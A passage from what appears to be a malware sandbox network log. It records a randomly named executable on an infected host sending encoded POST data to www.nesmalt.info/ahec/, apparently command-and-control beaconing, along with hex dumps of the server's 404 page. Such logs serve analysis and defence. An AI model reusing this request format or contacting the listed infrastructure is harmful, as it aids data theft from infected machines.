20 35 2d 31 31 2e 30 37 20 39 2e 32 38 2d 31 37 2e 33 35 20 31 32 2e 38 31 61 38 35 2e 31 34 36 20 38 35 2e 31 34 36 20 30 20 30 20 31 2d 32 30 2e 30 34 20 38 2e 31 34 20 38 33 2e 36 33 37 20 38 33 2e 36 33 37 20 30 20 30 20 31 2d 32 31 2e 36 37 20 32 2e 38 33 48 33 31 39 2e 33 63 2d 37 2e 34 36 20 30 2d 31 34 2e 37 33 2d 2e 39 34 2d 32 31 2e 38 31 2d 32 2e 38 33 2d 37 2e 30 38 2d 31 2e 38 39 2d 31 33 2e 37 36 2d 34 2e 36 2d 32 30 2e 30 34 2d 38 2e 31 34 61 38 38 2e 32 39 32 20 38 38 2e 32 39 32 20 30 20 30 20 31 2d 31 37 2e 33 35 2d 31 32 2e 38 31 63 2d 35 2e 32 39 2d 35 2d 39 2e 38 34 2d 31 30 2e 36 37 2d 31 33 2e 36 36 2d 31 36 2e 39 39 2d 33 2e 38 32 2d 36 2e 33 32 2d 36 2e 38 2d 31 33 2e 31 39 2d 38 2e 39 32 2d 32 30 2e 36 2d 32 2e 31 32 2d 37 2e 34 31 2d 33 2e 31 39 2d 31 35 2e 32 37 2d 33 2e 31 39 2d 32 33 2e 35 38 76 2d 33 33 2e 31 33 63 30 2d Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Montserrat:200,400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/404.css" /></head><body><div></div><svg id="svgWrap_2" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" viewBox="0 0 700 250"> <g> <path id="id3_2" d="M195.7 232.67h-37.1V149.7H27.76c-2.64 0-5.1-.5-7.36-1.49-2.27-.99-4.23-2.31-5.88-3.96-1.65-1.65-2.95-3.61-3.89-5.88s-1.42-4.67-1.42-7.22V29.62h36.82v82.98H158.6V29.62h37.1v203.05z"/> <path id="id2_2" d="M470.69 147.71c0 8.31-1.06 16.17-3.19 23.58-2.12 7.41-5.12 14.28-8.99 20.6-3.87 6.33-8.45 11.99-13.74 16.99-5.29 5-11.07 9.28-17.35 12.81a85.146 85.146 0 0 1-20.04 8.14 83.637 83.637 0 0 1-21.67 2.83H319.3c-7.46 0-14.73-.94-21.81-2.83-7.08-1.89-13.76-4.6-20.04-8.14a88.292 88.292 0 0 1-17.35-12.81c-5.29-5-9.84-10.67-13.66-16.99-3.82-6.32-6.8-13.19-8.92-20.6-2.12-7.41-3.19-15.27-3.19-23.58v-33.13c0-
Dec 8, 2023 14:51:48.218889952 CET	1286	IN	Data Raw: 31 32 2e 34 36 20 32 2e 33 34 2d 32 33 2e 38 38 20 37 2e 30 31 2d 33 34 2e 32 37 20 34 2e 36 37 2d 31 30 2e 33 38 20 31 30 2e 39 32 2d 31 39 2e 33 33 20 31 38 2e 37 36 2d 32 36 2e 38 33 20 37 2e 38 33 2d 37 2e 35 20 31 36 2e 38 37 2d 31 33 2e 33 Data Ascii: 12.46 2.34-23.88 7.01-34.27 4.67-10.38 10.92-19.33 18.76-26.83 7.83-7.5 16.87-13.36 27.12-17.56 10.24-4.2 20.93-6.3 32.07-6.3h66.41c7.36 0 14.58.94 21.67 2.83 7.08 1.89 13.76 4.6 20.04 8.14a88.292 88.292 0 0 1 17.35 12.81c5.29 5 9.86 10.67 13.
Dec 8, 2023 14:51:48.218908072 CET	1286	IN	Data Raw: 35 20 33 2e 30 32 20 35 2e 31 37 20 35 2e 30 39 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 31 5f 32 22 20 64 3d 22 4d 36 38 38 2e 33 33 20 32 33 32 2e 36 37 68 2d 33 37 2e 31 56 31 34 39 2e 37 48 35 32 30 2e 33 39 63 2d 32 2e Data Ascii: 5 3.02 5.17 5.09z"/> <path id="id1_2" d="M688.33 232.67h-37.1V149.7H520.39c-2.64 0-5.1-.5-7.36-1.49-2.27-.99-4.23-2.31-5.88-3.96-1.65-1.65-2.95-3.61-3.89-5.88s-1.42-4.67-1.42-7.22V29.62h36.82v82.98h112.57V29.62h37.1v203.05z"/> </g></svg
Dec 8, 2023 14:51:48.218985081 CET	1286	IN	Data Raw: 33 2e 35 38 76 33 33 2e 31 34 7a 6d 2d 33 37 2e 31 2d 33 33 2e 31 33 63 30 2d 37 2e 32 37 2d 31 2e 33 32 2d 31 33 2e 38 38 2d 33 2e 39 36 2d 31 39 2e 38 32 2d 32 2e 36 34 2d 35 2e 39 35 2d 36 2e 31 36 2d 31 31 2e 30 34 2d 31 30 2e 35 35 2d 31 35 Data Ascii: 3.58v33.14zm-37.1-33.13c0-7.27-1.32-13.88-3.96-19.82-2.64-5.95-6.16-11.04-10.55-15.29-4.39-4.25-9.46-7.5-15.22-9.77-5.76-2.27-11.8-3.35-18.13-3.26h-66.41c-6.14-.09-12.11.97-17.91 3.19-5.81 2.22-10.95 5.43-15.44 9.63-4.48 4.2-8.07 9.3-10.76 15.
Dec 8, 2023 14:51:48.219006062 CET	279	IN	Data Raw: 73 3d 22 62 6c 75 72 22 20 72 65 73 75 6c 74 3d 22 63 6f 6c 6f 72 65 64 42 6c 75 72 22 20 73 74 64 64 65 76 69 61 74 69 6f 6e 3d 22 34 22 3e 3c 2f 66 65 67 61 75 73 73 69 61 6e 62 6c 75 72 3e 0a 20 20 20 20 20 20 3c 66 65 6d 65 72 67 65 3e 0a 20 Data Ascii: s="blur" result="coloredBlur" stddeviation="4"></fegaussianblur> <femerge> <femergenode in="coloredBlur"></femergenode> <femergenode in="SourceGraphic"></femergenode> </femerge> </filter> </defs></svg><h2>P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49762	66.29.155.54	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:51:50.635157108 CET	758	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.nesmalt.info Origin: http://www.nesmalt.info Referer: http://www.nesmalt.info/ahec/ Cache-Control: no-cache Content-Length: 209 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 4f 52 44 6d 59 6c 34 34 41 45 53 77 32 55 4f 42 30 52 7a 78 47 31 2b 7a 59 6e 4e 49 4e 6c 46 6b 43 52 70 69 73 56 51 66 7a 4b 52 6c 4e 44 52 63 43 74 6f 61 64 6a 76 76 4b 73 4b 58 64 77 46 47 43 67 65 68 4f 68 55 58 55 4f 36 55 47 64 53 33 32 6d 70 52 61 63 7a 67 65 62 4c 53 45 41 6b 44 50 41 62 4d 74 38 68 65 59 43 71 69 77 61 53 74 49 70 78 35 34 44 59 2b 37 48 58 45 6e 70 50 39 2f 39 4d 53 48 76 49 46 2f 71 47 64 61 2f 33 51 42 44 57 45 70 7a 6f 62 4e 2b 44 58 75 4a 45 4c 54 37 65 79 51 62 53 37 4e 52 51 52 7a 78 42 77 6a 68 77 6e 72 6a 63 64 57 74 77 4a 4b 74 63 78 34 58 62 75 33 53 45 3d Data Ascii: XveXHZvx=ORDmYl44AESw2UOB0RzxG1+zYnNINlFkCRpisVQfzKRlNDRcCtoadjvvKsKXdwFGCgehOhUXUO6UGdS32mpRaczgebLSEAkDPAbMt8heYCqiwaStIpx54DY+7HXEnpP9/9MSHvIF/qGda/3QBDWEpzobN+DXuJELT7eyQbS7NRQRzxBwjhwnrjcdWtwJKtcx4Xbu3SE=
Dec 8, 2023 14:51:50.925204039 CET	1286	IN	HTTP/1.1 404 Not Found Date: Fri, 08 Dec 2023 13:51:50 GMT Server: Apache Content-Length: 5278 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4d 6f 6e 74 73 65 72 72 61 74 3a 32 30 30 2c 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 34 30 34 2e 63 73 73 22 20 2f 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 73 76 67 20 69 64 3d 22 73 76 67 57 72 61 70 5f 32 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 3d 22 30 70 78 22 20 79 3d 22 30 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 30 20 32 35 30 22 3e 0a 20 20 3c 67 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 33 5f 32 22 20 64 3d 22 4d 31 39 35 2e 37 20 32 33 32 2e 36 37 68 2d 33 37 2e 31 56 31 34 39 2e 37 48 32 37 2e 37 36 63 2d 32 2e 36 34 20 30 2d 35 2e 31 2d 2e 35 2d 37 2e 33 36 2d 31 2e 34 39 2d 32 2e 32 37 2d 2e 39 39 2d 34 2e 32 33 2d 32 2e 33 31 2d 35 2e 38 38 2d 33 2e 39 36 2d 31 2e 36 35 2d 31 2e 36 35 2d 32 2e 39 35 2d 33 2e 36 31 2d 33 2e 38 39 2d 35 2e 38 38 73 2d 31 2e 34 32 2d 34 2e 36 37 2d 31 2e 34 32 2d 37 2e 32 32 56 32 39 2e 36 32 68 33 36 2e 38 32 76 38 32 2e 39 38 48 31 35 38 2e 36 56 32 39 2e 36 32 68 33 37 2e 31 76 32 30 33 2e 30 35 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 32 5f 32 22 20 64 3d 22 4d 34 37 30 2e 36 39 20 31 34 37 2e 37 31 63 30 20 38 2e 33 31 2d 31 2e 30 36 20 31 36 2e 31 37 2d 33 2e 31 39 20 32 33 2e 35 38 2d 32 2e 31 32 20 37 2e 34 31 2d 35 2e 31 32 20 31 34 2e 32 38 2d 38 2e 39 39 20 32 30 2e 36 2d 33 2e 38 37 20 36 2e 33 33 2d 38 2e 34 35 20 31 31 2e 39 39 2d 31 33 2e 37 34 20 31 36 2e 39 39 2d 35 2e 32 39 20 35 2d 31 31 2e 30 37 20 39 2e 32 38 2d 31 37 2e 33 35 20 31 32 2e 38 31 61 38 35 2e 31 34 36 20 38 35 2e 31 34 36 20 30 20 30 20 31 2d 32 30 2e 30 34 20 38 2e 31 34 20 38 33 2e 36 33 37 20 38 33 2e 36 33 37 20 30 20 30 20 31 2d 32 31 2e 36 37 20 32 2e 38 33 48 33 31 39 2e 33 63 2d 37 2e 34 36 20 30 2d 31 34 2e 37 33 2d 2e 39 34 2d 32 31 2e 38 31 2d 32 2e 38 33 2d 37 2e 30 38 2d 31 2e 38 39 2d 31 33 2e 37 36 2d 34 2e 36 2d 32 30 2e 30 34 2d 38 2e 31 34 61 38 38 2e 32 39 32 20 38 38 2e 32 39 32 20 30 20 30 20 31 2d 31 37 2e 33 35 2d 31 32 2e 38 31 63 2d 35 2e 32 39 2d 35 2d 39 2e 38 34 2d 31 30 2e 36 37 2d 31 33 2e 36 36 2d 31 36 2e 39 39 2d 33 2e 38 32 2d 36 2e 33 32 2d 36 2e 38 2d 31 33 2e 31 39 2d 38 2e 39 32 2d 32 30 2e 36 2d 32 2e 31 32 2d 37 2e 34 31 2d 33 2e 31 39 2d 31 35 2e 32 37 2d 33 2e 31 39 2d 32 33 2e 35 38 76 2d 33 33 2e 31 33 63 30 2d Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Montserrat:200,400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/404.css" /></head><body><div></div><svg id="svgWrap_2" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" viewBox="0 0 700 250"> <g> <path id="id3_2" d="M195.7 232.67h-37.1V149.7H27.76c-2.64 0-5.1-.5-7.36-1.49-2.27-.99-4.23-2.31-5.88-3.96-1.65-1.65-2.95-3.61-3.89-5.88s-1.42-4.67-1.42-7.22V29.62h36.82v82.98H158.6V29.62h37.1v203.05z"/> <path id="id2_2" d="M470.69 147.71c0 8.31-1.06 16.17-3.19 23.58-2.12 7.41-5.12 14.28-8.99 20.6-3.87 6.33-8.45 11.99-13.74 16.99-5.29 5-11.07 9.28-17.35 12.81a85.146 85.146 0 0 1-20.04 8.14 83.637 83.637 0 0 1-21.67 2.83H319.3c-7.46 0-14.73-.94-21.81-2.83-7.08-1.89-13.76-4.6-20.04-8.14a88.292 88.292 0 0 1-17.35-12.81c-5.29-5-9.84-10.67-13.66-16.99-3.82-6.32-6.8-13.19-8.92-20.6-2.12-7.41-3.19-15.27-3.19-23.58v-33.13c0-
Dec 8, 2023 14:51:50.925232887 CET	1286	IN	Data Raw: 31 32 2e 34 36 20 32 2e 33 34 2d 32 33 2e 38 38 20 37 2e 30 31 2d 33 34 2e 32 37 20 34 2e 36 37 2d 31 30 2e 33 38 20 31 30 2e 39 32 2d 31 39 2e 33 33 20 31 38 2e 37 36 2d 32 36 2e 38 33 20 37 2e 38 33 2d 37 2e 35 20 31 36 2e 38 37 2d 31 33 2e 33 Data Ascii: 12.46 2.34-23.88 7.01-34.27 4.67-10.38 10.92-19.33 18.76-26.83 7.83-7.5 16.87-13.36 27.12-17.56 10.24-4.2 20.93-6.3 32.07-6.3h66.41c7.36 0 14.58.94 21.67 2.83 7.08 1.89 13.76 4.6 20.04 8.14a88.292 88.292 0 0 1 17.35 12.81c5.29 5 9.86 10.67 13.
Dec 8, 2023 14:51:50.925378084 CET	1286	IN	Data Raw: 35 20 33 2e 30 32 20 35 2e 31 37 20 35 2e 30 39 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 31 5f 32 22 20 64 3d 22 4d 36 38 38 2e 33 33 20 32 33 32 2e 36 37 68 2d 33 37 2e 31 56 31 34 39 2e 37 48 35 32 30 2e 33 39 63 2d 32 2e Data Ascii: 5 3.02 5.17 5.09z"/> <path id="id1_2" d="M688.33 232.67h-37.1V149.7H520.39c-2.64 0-5.1-.5-7.36-1.49-2.27-.99-4.23-2.31-5.88-3.96-1.65-1.65-2.95-3.61-3.89-5.88s-1.42-4.67-1.42-7.22V29.62h36.82v82.98h112.57V29.62h37.1v203.05z"/> </g></svg
Dec 8, 2023 14:51:50.925425053 CET	1286	IN	Data Raw: 33 2e 35 38 76 33 33 2e 31 34 7a 6d 2d 33 37 2e 31 2d 33 33 2e 31 33 63 30 2d 37 2e 32 37 2d 31 2e 33 32 2d 31 33 2e 38 38 2d 33 2e 39 36 2d 31 39 2e 38 32 2d 32 2e 36 34 2d 35 2e 39 35 2d 36 2e 31 36 2d 31 31 2e 30 34 2d 31 30 2e 35 35 2d 31 35 Data Ascii: 3.58v33.14zm-37.1-33.13c0-7.27-1.32-13.88-3.96-19.82-2.64-5.95-6.16-11.04-10.55-15.29-4.39-4.25-9.46-7.5-15.22-9.77-5.76-2.27-11.8-3.35-18.13-3.26h-66.41c-6.14-.09-12.11.97-17.91 3.19-5.81 2.22-10.95 5.43-15.44 9.63-4.48 4.2-8.07 9.3-10.76 15.
Dec 8, 2023 14:51:50.925646067 CET	279	IN	Data Raw: 73 3d 22 62 6c 75 72 22 20 72 65 73 75 6c 74 3d 22 63 6f 6c 6f 72 65 64 42 6c 75 72 22 20 73 74 64 64 65 76 69 61 74 69 6f 6e 3d 22 34 22 3e 3c 2f 66 65 67 61 75 73 73 69 61 6e 62 6c 75 72 3e 0a 20 20 20 20 20 20 3c 66 65 6d 65 72 67 65 3e 0a 20 Data Ascii: s="blur" result="coloredBlur" stddeviation="4"></fegaussianblur> <femerge> <femergenode in="coloredBlur"></femergenode> <femergenode in="SourceGraphic"></femergenode> </femerge> </filter> </defs></svg><h2>P

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49763	66.29.155.54	80

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:51:53.354933023 CET	10840	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.nesmalt.info Origin: http://www.nesmalt.info Referer: http://www.nesmalt.info/ahec/ Cache-Control: no-cache Content-Length: 10289 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 4f 52 44 6d 59 6c 34 34 41 45 53 77 32 55 4f 42 30 52 7a 78 47 31 2b 7a 59 6e 4e 49 4e 6c 46 6b 43 52 70 69 73 56 51 66 7a 4b 5a 6c 4e 78 70 63 44 4f 77 61 63 6a 76 76 44 4d 4b 55 64 77 45 47 43 67 47 6c 4f 68 4a 73 55 4e 43 55 47 2b 71 33 2b 30 4e 52 55 63 7a 67 44 4c 4c 58 4b 67 6b 57 50 41 4c 41 74 2f 4a 65 59 43 71 69 77 5a 36 74 4c 34 78 35 36 44 59 39 79 6e 58 2b 6a 70 50 52 2f 35 68 74 48 76 4e 79 38 65 4b 64 61 66 48 51 44 31 4b 45 68 7a 6f 5a 49 2b 44 50 75 4a 49 49 54 37 54 4a 51 61 57 56 4e 54 4d 52 6c 51 73 59 78 56 38 39 34 77 56 47 57 75 30 39 52 38 31 76 67 30 76 74 73 45 45 69 55 5a 52 6d 46 42 37 46 5a 47 30 52 41 4c 4e 78 30 45 49 34 6d 6a 58 52 43 5a 46 76 51 36 6b 64 72 49 70 53 39 50 67 51 33 66 43 4e 57 57 6b 74 6f 53 46 56 57 66 39 75 6d 35 41 42 59 6b 75 5a 6d 79 55 5a 65 72 48 4b 75 30 42 42 35 38 4b 71 6d 6f 74 44 39 48 75 4a 32 6a 7a 49 2f 74 50 34 46 30 41 4f 4e 36 67 52 42 77 34 6c 42 56 57 38 76 38 39 4e 73 49 75 47 66 36 4e 69 59 7a 58 44 37 65 65 42 77 2f 46 42 6c 70 4f 7a 63 4e 30 67 70 53 50 50 47 67 48 4a 38 72 63 78 4a 34 50 63 6d 4e 65 76 48 6a 61 64 4c 39 34 62 6e 61 54 62 4b 76 73 58 48 4d 44 43 42 76 78 37 78 59 35 42 79 54 4a 59 69 2b 48 64 55 38 33 41 52 48 4f 7a 6c 43 57 6d 36 45 69 50 4b 4b 59 32 70 66 58 47 64 55 33 72 43 73 76 55 4b 48 61 45 5a 31 73 6a 54 47 67 53 70 43 47 35 75 33 50 71 7a 6c 6d 77 4e 4a 58 45 74 4c 65 50 4b 48 35 36 62 6d 41 41 53 61 6c 6f 57 64 75 4e 39 54 6b 43 70 7a 35 56 6b 30 76 55 38 48 4b 76 4b 67 4e 6b 4a 6b 73 49 63 6c 69 31 63 36 32 50 57 4e 37 69 66 61 65 4c 78 4c 46 51 73 72 4c 74 59 4f 70 59 42 71 45 71 41 70 6f 2f 42 73 36 41 62 65 30 39 5a 49 2b 43 47 30 6c 6c 58 61 72 37 78 38 55 4c 4e 68 54 75 34 7a 2f 31 2b 4f 48 35 73 77 78 79 4a 56 72 44 55 6d 6f 68 4b 4b 53 50 59 67 56 4d 5a 39 63 67 7a 79 44 64 61 57 4e 56 66 41 34 7a 50 33 43 4f 6c 6b 65 4c 65 52 6b 30 35 4b 71 5a 73 61 69 6f 2f 61 7a 2f 48 61 62 57 6f 41 71 2f 52 31 61 77 67 34 63 62 65 58 45 76 39 51 4c 49 46 66 52 4e 6c 32 35 46 75 4d 30 2f 65 6d 51 32 45 39 44 66 68 68 43 37 6c 7a 58 4f 31 42 78 49 71 4f 69 45 62 70 4c 64 4c 77 6e 71 63 72 67 35 4c 6e 76 71 72 34 7a 76 30 58 77 71 4e 66 41 62 39 41 59 46 34 63 42 31 2b 37 30 67 7a 34 79 48 48 79 4a 41 45 49 45 48 34 43 34 4a 55 43 6f 6a 4a 67 32 6e 44 46 73 2b 63 51 67 2b 30 67 49 35 55 45 57 6b 46 6e 36 65 4d 57 4e 38 56 50 58 63 56 64 38 49 6b 59 52 58 4f 37 65 59 61 71 55 77 52 58 31 5a 69 46 5a 67 30 78 58 62 44 45 58 4e 6b 53 71 36 33 44 77 34 75 48 44 31 59 49 34 34 78 4f 6c 6c 72 44 50 75 6f 50 4a 33 42 43 56 41 33 30 63 39 47 64 30 6b 6e 70 7a 4d 65 6c 52 6d 6e 45 32 59 68 4f 4b 69 65 59 4a 74 30 78 6b 4b 2f 54 73 42 4c 31 31 35 6c 53 59 32 66 53 64 39 79 6e 6a 6d 57 44 30 45 38 47 72 56 44 39 6d 79 45 36 6e 6d 71 46 4d 66 75 6b 78 59 72 67 62 37 68 39 4d 2f 4d 6a 69 33 57 61 7a 44 59 38 49 59 4f 4d 36 57 53 7a 47 32 65 47 6f 6b 54 77 72 4e 4b 53 51 43 45 6d 54 4f 46 43 62 30 75 75 39 70 76 32 4f 33 37 63 45 58 69 75 75 42 38 37 6f 5a 6c 38 4a 78 4a 52 46 46 58 70 4c 7a 30 48 2f 47 37 78 46 2b 37 4e 51 6c 67 33 62 78 59 70 30 33 44 54 37 72 78 31 6f 79 63 39 4a 57 36 46 34 31 51 30 71 58 2f 75 67 5a 69 77 39 4d 51 33 6e 42 36 6b 4d 49 4a 6e 4b 77 66 47 6f 44 67 6d 7a 43 68 30 68 75 31 6a 4b 4e 46 6c 32 53 6f 6f 54 54 77 34 41 5a 4c 2b 57 4c 51 6a 56 74 72 2f 49 69 6d 4e 54 37 70 32 56 6e 48 45 53 4b 63 72 6f 7a 78 76 30 56 39 76 42 72 69 45 66 34 6e 51 59 4e 34 6a 6b 63 55 2f 7a 55 39 33 4a 39 66 55 63 51 55 74 52 58 35 75 75 31 32 31 38 57 31 73 39 62 50 4b 75 47 65 31 61 6e 4d 74 42 66 2b 4e 49 44 46 6b 4c 67 72 4c 5a 46 64 68 6f 4b 4c 70 5a 41 4e 37 62 50 56 33 30 74 42 53 4c 6e 54 6f 58 33 4a 36 4e 51 48 31 5a 59 6c 42 74 68 65 4d 78 4b 32 39 56 43 70 45 44 56 69 59 67 77 2f 51 32 52 5a 49 7a 36 70 56 76 4a 71 6c 49 5a 57 74 33 68 68 75 7a 49 64 7a 56 55 6e 4c 41 79 4d 52 78 56 6d 51 61 45 33 77 55 35 59 46 76 4b 6f 74 5a 45 5a 59 6e 69 34 2f 49 73 54 53 30 44 74 67 48 6d 4b 58 2f 69 34 72 71 2f 6c 54 69 52 52 50 62 7a 4c 47 6b 52 73 58 62 44 61 61 64 4f 39 47 48 64 35 4e 38 78 4d 43 Data Ascii: XveXHZvx=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